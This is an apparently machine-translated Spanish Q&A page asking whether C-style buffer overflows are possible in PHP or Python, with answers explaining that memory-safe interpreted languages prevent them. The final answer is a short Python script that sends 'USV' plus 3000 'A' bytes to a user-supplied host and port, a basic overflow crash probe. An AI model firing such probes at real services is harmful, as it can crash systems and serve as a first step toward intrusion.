2010-01-17 9 views

Respuesta

2

Como PHP es un lenguaje de script y no tiene punteros y el tipo de cadena es binario seguro tales cosas no van a funcionar en PHP.

¿Pero por qué querrías hacer tal cosa?

(oh, puede haber errores en PHP que resulta en un desbordamiento de memoria, pero eso no es nada que Canbe invocada en cualquier forma y por lo general se fija bastante Frápido ...)

1

hacer algo similar en PHP no lo hará dar como resultado el mismo comportamiento

PHP se interpreta y siempre comprueba si la operación que está realizando o no es válida ... Por lo tanto, no puede, por ejemplo, sobrepasar un búfer.

1

Como php, python y cada idioma interpretado primero tienen que pasar por un intérprete y no tienes acceso completo a la memoria, este tipo de idiomas no te permitirán hacer juegos como el que publicaste.

8

El hecho de que Python y PHP sean interpretados como sugeridos por otros no es realmente el objetivo. El punto es que casi todas las API y la semántica del lenguaje que exponen están muy marcadas por errores, lo que hace imposible tener un comportamiento indefinido explotable. Incluso si compilas los idiomas, aún sería imposible. Esto no significa que no puedas exponer inseguras API que pueden hacer lo que sea. De hecho, al usar el módulo Pitthons ctypes, debería ser posible crear un comportamiento similar, pero significativamente más difícil hacerlo por accidente.

2

Lo sentimos: ha alcanzado una debilidad en Python. Lamentablemente, es por diseño, por lo que se puede hacer muy poco al respecto. Tal vez usted debe permanecer con C.

Como Martin v Löwis said:.

Python no soporta desbordamientos de búfer, lo siento.

PS Wow. Parece que hace unos meses leí esa publicación y, sin embargo, han pasado 7 años y un día.

0
import sys 
import socket 

for carg in sys.argv: 

    if carg == "-S": 

     argnum= sys.argv.index(carg) 

     argnum +=1 

     host = sys.argv[argnum] 

    elif carg == "-p": 

     argnum = sys.argv.index(carg) 

     argnum +=1 

     port = sys.argv[argnum] 

buffer = "\x41"* 3000 

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

s.connect((host,port)) 

s.send("USV" + buffer) 

s.close() 
Cuestiones relacionadas